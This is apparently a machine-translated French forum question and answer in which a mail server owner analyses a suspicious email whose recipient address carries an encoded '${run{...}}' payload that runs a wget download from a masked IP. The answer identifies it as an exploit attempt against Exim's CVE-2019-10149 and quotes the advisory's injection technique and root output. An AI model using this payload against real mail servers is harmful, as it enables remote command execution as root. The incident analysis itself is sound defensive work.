Aujourd'hui, j'ai trouvé un e-mail extrêmement inhabituel dans ma boîte de réception, sans sujet, expéditeur ou contenu. Mon client Gmail pour Android a signalé que le courrier avait été envoyé par me
, déclenchant une alerte nucléaire dans mon esprit.
J'avais peur que quelqu'un ait deviné mon mot de passe robuste et que ce courrier provienne de mon agent de transfert de courrier (MTA), alors je me suis précipité pour regarder à la fois le courrier électronique lui-même et les journaux de courrier. Cela ne s'est pas produit.
J'ai trouvé ce qui me semble être une tentative d'exploiter une vulnérabilité de serveur de messagerie qui fail2ban
et je n'en ai jamais entendu parler.
Received: 20
Received: 19
Received: 22
Received: 21
Received: 18
Received: 15
Received: 14
Received: 17
Received: 16
Received: 29
Received: 28
Received: 31
Received: 30
Received: 27
Received: 24
Received: 23
Received: 26
Received: 25
Received: 13
Received: 3
Received: 4
Received: 5
Received: 2
Received: from example.org (localhost [127.0.0.1])
by example.org (Postfix) with ESMTP id 1FA141219E6
for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:52 +0200 (CEST)
Received: from service.com (unknown [xx.xx.xx.xx])
by example.org (Postfix) with SMTP
for <root+${run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}@example.org>; Wed, 19 Jun 2019 04:42:50 +0200 (CEST)
Received: 1
Received: 10
Received: 11
Received: 12
Received: 9
Received: 6
Received: 7
Received: 8
Message-ID: <000701d52665$301b5e30$90521a90$@Domain>
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook 16.0
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20xxx.xxx.xxx.xxxx2ftmpx2fxx.xxx.xxx.xxx22}}@example.org
Authentication-Results: example.org;
X-DKIM-Authentication-Results: none
Thread-Index: AQHpZJXbpRRTStcSuHvAzmVQv5xuOw==
Analyse: l'expéditeur a tenté de modifier la destination du courrier afin de lancer la commande (encodée) suivante et d'exploiter une vulnérabilité potentielle exécution de code à distance , où les séquences de X
es indiquent une adresse IP
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20xxx.xxx.xxx.xxxx2ftmpx2fxx.xxx.xxx.xxxx22}}@example.org
x2Fbinx2Fsht-ctx22wgetx20[IP ADDR]x2ftmpx2f[IP ADDR]x22
/bin/sht-ct#wget [IP ADDR]/tmp/[IP ADDR]#
Malgré sht-ct
étant quelque chose que je ne connais pas (ou mal traduit du décodage manuel des URL), je pars du principe que tous les attaquants savent que j'utilise Postfix comme MTA sur mon serveur.
Question :
Je voudrais confirmer s'il s'agit d'une véritable tentative, comme je le soupçonne, de mener une attaque d'exécution de commande à distance avec un e-mail spécialement conçu. Secondairement, j'exige d'évaluer si j'ai été pwned
, autrement qu'en regardant attentivement top
et crontab
. J'ai besoin de comprendre si cette attaque affecte mon MTA ou tente d'exploiter une vulnérabilité obsolète et bien corrigée.
Je viens de se précipiter pour mettre à jour Postfix, mais sans connaissance de la vulnérabilité (et si elle affecte jamais Postfix), j'ai peu d'indices.
La raison pour laquelle je me précipite à poser des questions de sécurité sur les MTA sur les forums publics est que, à mon avis/expérience, un serveur de messagerie piraté peut commencer à causer beaucoup de dégâts en temps extrêmement court par rapport à d'autres types de services, et cela nécessite agir rapidement.
Il s'agit d'une tentative d'exploitation du problème actuel d'exécution de code à distance dans le serveur de messagerie EXIM, c'est-à-dire CVE-2019-10149 . Voir The Return of the WIZard: RCE in Exim pour plus de détails et aussi le type d'exploit que vous avez rencontré. Vous êtes en sécurité si vous n'utilisez pas EXIM ou exécutez une version fixe.
De l'article lié (emphase ajoutée):
Cette vulnérabilité est exploitable instantanément par un attaquant local (et par un attaquant distant dans certaines configurations non par défaut). Pour exploiter à distance cette vulnérabilité dans la configuration par défaut, un attaquant doit maintenir la connexion au serveur vulnérable ouverte pendant 7 jours (en transmettant un octet toutes les quelques minutes). Cependant, en raison de l'extrême complexité du code d'Exim, nous ne pouvons garantir que cette méthode d'exploitation est unique; des méthodes plus rapides peuvent exister.
[...]
Étant donné que expand_string () reconnaît l'élément d'expansion "$ {run {}}" et parce que l'adresse new-> est le destinataire du courrier qui est remis, un attaquant local peut simplement envoyer un envoyez un e-mail à "$ {run {...}} @ localhost" (où "localhost" est l'un des domaines locaux d'Exim) et exécutez des commandes arbitraires, en tant que root (Deliver_drop_privilege est false, par défaut) :
root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)